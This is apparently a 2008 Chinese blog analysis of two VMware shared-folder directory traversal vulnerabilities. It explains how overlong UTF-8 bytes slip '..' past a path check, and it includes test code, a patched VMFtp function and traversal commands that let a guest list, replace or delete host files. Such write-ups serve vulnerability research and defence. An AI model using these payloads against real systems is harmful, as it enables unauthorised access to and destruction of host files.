VMware漏洞实例分析之一 – 共享文件夹目录遍历漏洞
标题:VMware漏洞实例分析之一 – 共享文件夹目录遍历漏洞
作者:vxasm (mail: [email protected])
时间:2008-10-5
一 名词定义
Host机:运行VMware软件的真实主机;
Guest机:装在VMware软件中的虚拟系统;
后门:VMware有一套自己专有的“Backdoor I/O Port”指令,Host和Guest之间的所有数据都是通过一个固定的IO端口,使用in和out指令来进行传递,Guest就是通过这个端口发命令让Host帮助它完成某些自身不能完成的工作。
二 漏洞背景
理论上来说,可以认为Host机和Guest机是两台不同的电脑,只不过它们是共享同一套真实的物理硬件,这样就带来一个问题,即如何在Host和 Guest之间传输数据, VMware的共享文件夹就是解决该问题的一个很实用功能,不需要设置任何网络,就可以在Host和Guest机器间互相传输文件。至于怎么设置共享文件 夹,不是本文的重点,就不多说了,不熟悉的建议Google一下先。
在安装完VMware Tools后,会在Guest机上看到一个名为Hgfs.sys的文件,这个驱动文件实现了一个虚拟的文件系统,这个虚拟文件系统的根目录就 是\\.host,当你在Guest机上进入任何共享文件夹的目录时,可以看到路径都是以\\.host开始的,在这个目录下的所有操作都将通过后门传递 给运行在Host上的VMware主程序。举例来说:在Host机上有个目录是:E:\Debug\Share,把这个目录设置为Guest系统的共享目 录后,VMware会记录下这个目录所对应的Host路径是E:\Debug\Share,当在Guest机的“运行”对话框中输入:\\.host \Shared Folders\Share,就会在Guest上打开E:\Debug\Share这个目录。这个过程是通过后门完成的,Guest把“遍历目录“命令传 递给Host,Host上的VMware主程序找到该目录对应关系,通过API函数遍历E:\Debug\Share目录,把得到的数据通过后门返回给 Guest,最后Guest上就列出了Share目录下的所有文件。
三 漏洞描述
现在就到了本文所要说的重点了。我们知道,当Guest位于\\.host\Shared Folders\Share目录下时,Guest执行命令“dir”,就相当于要求Host机执行“dir E:\Debug\Share”,没有问题。那再让Guest执行命令“dir ..”,会发生什么情况呢?如果是Host本身在执行这条命令,没有问题,自然会列出E:\Debug下的所有文件;但现在要求执行命令的是 Guest,Host只设置了E:\Debug\Share这个目录给Guest,自然是希望Guest只能看到这个目录,而没有权限看到它的父目录,因 此VMware会对含有“..”的路径名作特别处理,处理的结果就是Guest上执行这条命令无效。
那么它的处理方法是什么呢?简单说来是这样的,VMware会对共享文件夹的路径名进行验证,确认它不含有0x2e0x2e(翻译为ASCII子字符就是 “..”)字符串后,就会将其从多字节字符串转换为宽字符字符串,然后将所生成的宽字符字符串传送给Host上的系统文件API。这个转换使用 Windows API中的MultiByteToWideChar函数完成。该函数的原型如下:
int MultiByteToWideChar (
UINT CodePage,
DWORD dwFlags,
LPCSTR lpMultiByteStr,
int cbMultiByte,
LPWSTR lpWideCharStr,
int cchWideChar
);
这里只对dwFlags做简单解释。
dwFlags:指定是否转换成预制字符或合成的宽字符,对控制字符是否使用像形文字,以及怎样处理无效字符。其中:
MB_ERR_INVALID_CHARS:设置此选项,则函数遇到非法字符就失败并返回错误码ERROR_NO_UNICODE_TRANSLATION,否则丢弃非法字符。
正是由于对MultiByteToWideChar函数中dwFlags参数的错误使用,导致VMware共享文件夹先后出现了两个漏洞,按时间顺序是 CVE-2007-1744和CVE-2008-0923。不过严格说起来,这并非是因为VMware开发人员在使用 MultiByteToWideChar函数时的编码错误,而是由于这套验证机制本身在逻辑上就存在一个漏洞。因为:验证“..”字符串是在转换输入字符 串之前执行的,因此只要Guest系统上的恶意程序或用户提供的路径名可以通过验证,则在调用MultiByteToWideChar之后仍可能映射为包 含有Unicode UTF-16版本的“..”字符串。
3.1 CVE-2007-1744
受影响版本:
VMWare VMWare Workstation 5.5.3 build 34685
不受影响版本:
VMWare VMWare Workstation 5.5.4 build 44386
这个漏洞的起因是dwFlags使用了默认值0,这意味着在转换过程中会忽略输入的无效字符,因此可以很容易地构造出一个多字节字符串,轻松地绕过验证,成为Unicode UTF-16版本的“..”。示例程序如下:
#include <windows.h>
int main(int argc, char* argv[])
{
unsigned int ans;
char utf8[] = { 0xc0,0x2e,0xc0,0x2e }; //0xc0是无效字符
wchar_t utf16[100] = { 0 };
UINT CodePage = CP_UTF8;
ans = MultiByteToWideChar(CodePage,
0,
(LPCSTR)&utf8,
4,
(LPWSTR)utf16,
100);
printf(“utf16: %S\n”, utf16);
return 0;
}
尽管0xc0是无效字符,但因为使用的的dwFlags值是0,所以MultiByteToWideChar函数会忽略它,而继续转换有效的字符 0x2e,所以执行这个程序的输出结果是:utf16: ..可见,只要我们在输入的路径名中包含“0xc00x2e0xc00x2e”,那么就能够通过VMware对0x2e0x2e的验证,因此Host会去 访问上层目录,从而让Guest看到不应该看到的东西。
3.2 CVE-2008-0923
受影响版本
VMWare Workstation 6.0.2
VMWare Workstation 5.5.4
VMWare Player 2.0.2
VMWare Player 1.0.4
VMWare ACE 2.0.2
VMWare ACE 1.0.2
不受影响版本:
VMWare Workstation 6.0.3
VMWare Workstation 5.5.6
VMWare Player 2.0.3
VMWare Player 1.0.5
VMWare ACE 2.0.3
VMWare ACE 1.0.5
VMWare ESX
VMWare Server
由于上个漏洞中dwFlags参数简单使用了默认值0,导致无效字符也能够顺利通过转换,因此VMware的更新版本中将dwFlags参数的值修改为 MB_ERR_INVALID_CHARS,这个宏的整数值是8。这样一来,像上面使用过的“0xc00x2e0xc00x2e”字符串,由于包含了无效 字符,就会导致MultiByteToWideChar函数调用失败了。那么,我们有没有办法构造出一个有效的多字节字符序列,而又能成功转换为 Unicode UTF-16版本的“..”呢?试一试就知道了,还是让程序来帮忙吧。测试程序如下:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
unsigned int i, ans;
unsigned char buf[200];
UINT CodePage = CP_UTF8;
for (i=1; i; i++)
{
memset(buf, 0, 200);
ans = MultiByteToWideChar(CodePage,
MB_ERR_INVALID_CHARS, //8
(LPCSTR)&i,
4,
(LPWSTR)buf,
100);
if (ans && (buf[0] == ‘.’) && (buf[1] == 0) && ((i & 0xff) != ‘.’))
{
printf(“%d %04x: %02x %02x %02x %02x\n”, ans, i,
buf[0], buf[1], buf[2], buf[3]);
getchar(); // 找到后让程序暂停一下
}
}
return 0;
}
很快就能找到第1个字符序列是“0xc20x2e0xc20x2e”,也就是说它能够通过验证,并且成功地转换为Unicode UTF-16版本的“..”。
四 漏洞利用
现在,这两个漏洞的形成原因及利用原理已经清楚了,可是怎么样在VMware中利用呢?首先我们必须在路径名中包含这些字符,但这些字符又并非可输入字符,并且还不能经过Guest系统的Shell处理,而必须直接传递给后门才行,所以我们有两种办法可以选择:
1)直接调用VMware的后门指令,实现一个简单的“VMware Tools”,将“遍历目录”命令传递给Host,但是这就要求熟悉后门指令,而且调用过程很繁琐;
2)利用网上现有资源。VM Back Project是个极好的开放源代码工程,支持多种平台,在Windows平台上直接用VC6就能编译,它实现了一套直接调用VMware后门指令的命令 行工具,并且里面列出了VMware所有已知的后门指令。其中VMFtp是一个实用的命令行程序,从名字可以猜到,它模拟了一个FTP程序,不过这个 FTP只限于在Host和Guest之间传递文件。
为避繁就简,我们以VMFtp为例,讲解第2个漏洞CVE-2008-0923的利用方法。在Guest机上启动VMFtp.exe,默认就进入了共享文 件夹,输入“ls”命令(相当于“dir”),将会列出所有的共享目录;假设当前有一个目录名为Share,那么运行“cd Share”,就会进入Share目录;再输入“ls”命令,就会列出Share目录下的所有文件;现在再输入“ls ..”显示上层目录,仍然是只能看到我们定义了的共享目录,可见在正常情况下VMware屏蔽了包含“0x2e0x2e”的路径。现在我们对VMFtp进 行改造,把源代码vmw/src/vmshf.c中的函数ReplaceDelim修改为如下:
static void ReplaceDelim(char *str, uint32_t length, char delim)
{
while (length–)
{
if (*(str + length) == ‘\0’ ||
*(str + length) == ‘/’ ||
*(str + length) == ‘\\’)
{
*(str + length) = delim;
}
if (*(str + length) == ‘+’)
*(str + length) = ‘\xc2’;
}
}
修改的目的就是要让VMFtp将我们输入的字符“+”自动替换为“0xc2”,重新编译VMFtp后运行。进入Share目录,输入“ls +.+./”,现在能看到什么呢?在Share的父目录下所有文件就都列出来了,输入“ls +.+./+.+.”,则更上一层目录的文件又都列出来了,再比如输入“ls +.+./+.+./soft”之类的路径,以此类推,这样Share目录所在整个分区的文件都在Guest机上一览无遗了,而且还能做替换、删除文件等 操作。VMFtp在我的VMware 6.0.2中的Guest运行的情况如下所示:
如果这个共享目录是设在系统盘(如C盘)的话,则Host机上所有的系统文件都可以被Guest上的用户或攻击程序所任意操作,可见这个漏洞的危害还是很大的,解决办法是安装目前最新版本的VMware或者禁用共享文件夹(默认情况下为启用)。
五 动态调试
最后再简单说一下动态调试这个漏洞的方法,用OllyICE附加上正在运行的vmware-vmx.exe,然后下 Kernel32.MultiByteToWideChar断点,因为MultiByteToWideChar是被VMware频繁使用的函数,所以最好 用条件断点,可以根据输入字符串的长度来,我使用的条件是:eax>6&&eax<15,熟悉OllyICE的话可以根据实 际运行情况作调整。在调试状态下运行上面所说的命令,就能看到MultiByteToWideChar转换前和转换后的状态了。如下所示:
转换前的状态:
转换后的状态:
附件中包含已经修改过的VMFtp.exe,可以直接在VMware 6.0.2及以前的版本上测试。
VMFtp的源代码下载:http://chitchat.at.infoseek.co.jp/vmware/vmw-060510.zip。
六 参考资料
1 漏洞发现者:coresecurity公司的论文。
http://www.coresecurity.com/content/advisory-vmware
2 VM Back Project
http://chitchat.at.infoseek.co.jp/vmware/
还是必须要Host开共享目录才可以利用,实际上没多大用处.
自己攻击自己,神奇~!
如果共享不启用,虚拟机还有漏洞嘛?
博主,好像VM Back Project网站停掉了,下载不了VMftp,现在想分析下这个漏洞,不知道能否给传一个,谢谢